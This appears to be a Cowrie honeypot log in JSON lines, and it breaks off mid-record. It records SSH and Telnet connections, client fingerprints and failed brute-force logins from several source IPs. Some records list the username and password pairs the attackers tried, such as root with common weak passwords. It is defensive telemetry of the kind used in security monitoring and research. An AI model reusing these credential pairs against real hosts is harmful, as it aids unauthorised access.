{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:14.593409Z","src_ip":"163.7.9.84","session":"6de13a277a46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:14.676551Z","src_ip":"43.163.119.215","session":"34593c70f2e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"123456","message":"login attempt [david/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:15.417342Z","src_ip":"43.163.119.215","session":"34593c70f2e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:16.668645Z","src_ip":"43.163.119.215","session":"34593c70f2e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":46078,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a25f30e9804","protocol":"ssh","message":"New connection: 43.163.119.215:46078 (10.17.0.5:22) [session: 2a25f30e9804]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:19.414254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:19.421199Z","src_ip":"43.163.119.215","session":"2a25f30e9804","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:19.667194Z","src_ip":"43.163.119.215","session":"2a25f30e9804","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"kafka","message":"login attempt [kafka/kafka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:20.405702Z","src_ip":"43.163.119.215","session":"2a25f30e9804","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":45926,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c6684518484","protocol":"ssh","message":"New connection: 43.163.119.215:45926 (10.17.0.5:22) [session: 0c6684518484]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:21.325935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:21.330602Z","src_ip":"43.163.119.215","session":"0c6684518484","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:21.568676Z","src_ip":"43.163.119.215","session":"0c6684518484","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:21.654804Z","src_ip":"43.163.119.215","session":"2a25f30e9804","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1qaz@WSX","message":"login attempt [test/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:22.281388Z","src_ip":"43.163.119.215","session":"0c6684518484","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:23.522465Z","src_ip":"43.163.119.215","session":"0c6684518484","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":46090,"dst_ip":"10.17.0.5","dst_port":22,"session":"31a64dffcf97","protocol":"ssh","message":"New connection: 43.163.119.215:46090 (10.17.0.5:22) [session: 31a64dffcf97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:24.910615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:24.919739Z","src_ip":"43.163.119.215","session":"31a64dffcf97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:25.158378Z","src_ip":"43.163.119.215","session":"31a64dffcf97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":54008,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d1f4fac15f4","protocol":"ssh","message":"New connection: 103.75.199.4:54008 (159.203.135.109:22) [session: 9d1f4fac15f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:25.360231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:25.364704Z","src_ip":"103.75.199.4","session":"9d1f4fac15f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:25.456376Z","src_ip":"103.75.199.4","session":"9d1f4fac15f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.83.196.237","src_port":49506,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e2f559706c8","protocol":"ssh","message":"New connection: 154.83.196.237:49506 (159.203.135.109:22) [session: 7e2f559706c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:25.471220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:25.476664Z","src_ip":"154.83.196.237","session":"7e2f559706c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:25.598569Z","src_ip":"154.83.196.237","session":"7e2f559706c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"user1","message":"login attempt [user1/user1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:25.730301Z","src_ip":"103.75.199.4","session":"9d1f4fac15f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nPSpP4PBW0","message":"login attempt [root/nPSpP4PBW0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:25.873667Z","src_ip":"43.163.119.215","session":"31a64dffcf97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"147852369","message":"login attempt [root/147852369] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:26.120554Z","src_ip":"154.83.196.237","session":"7e2f559706c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.209.121.72","src_port":40454,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc8eea544015","protocol":"ssh","message":"New connection: 205.209.121.72:40454 (10.17.0.5:22) [session: bc8eea544015]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:26.639601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:26.644322Z","src_ip":"205.209.121.72","session":"bc8eea544015","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:26.649179Z","src_ip":"205.209.121.72","session":"bc8eea544015","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sdp","message":"login attempt [root/sdp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:26.703171Z","src_ip":"205.209.121.72","session":"bc8eea544015","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:26.824881Z","src_ip":"103.75.199.4","session":"9d1f4fac15f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:27.116947Z","src_ip":"43.163.119.215","session":"31a64dffcf97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:27.244416Z","src_ip":"154.83.196.237","session":"7e2f559706c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:27.711150Z","src_ip":"205.209.121.72","session":"bc8eea544015","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00343656539917,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:34.412760Z","src_ip":"186.189.112.16","session":"031cc963cd35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.189.112.16","src_port":15591,"dst_ip":"10.17.0.5","dst_port":23,"session":"05a33445556e","protocol":"telnet","message":"New connection: 186.189.112.16:15591 (10.17.0.5:23) [session: 05a33445556e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:35.718083Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":44194,"dst_ip":"10.17.0.5","dst_port":22,"session":"a52d235c6764","protocol":"ssh","message":"New connection: 43.163.119.215:44194 (10.17.0.5:22) [session: a52d235c6764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:45.708838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:45.713235Z","src_ip":"43.163.119.215","session":"a52d235c6764","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:45.950803Z","src_ip":"43.163.119.215","session":"a52d235c6764","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":44184,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec10f2ea987e","protocol":"ssh","message":"New connection: 43.163.119.215:44184 (10.17.0.5:22) [session: ec10f2ea987e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:46.422604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:46.426862Z","src_ip":"43.163.119.215","session":"ec10f2ea987e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456.","message":"login attempt [root/Aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:12:46.665608Z","src_ip":"43.163.119.215","session":"a52d235c6764","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-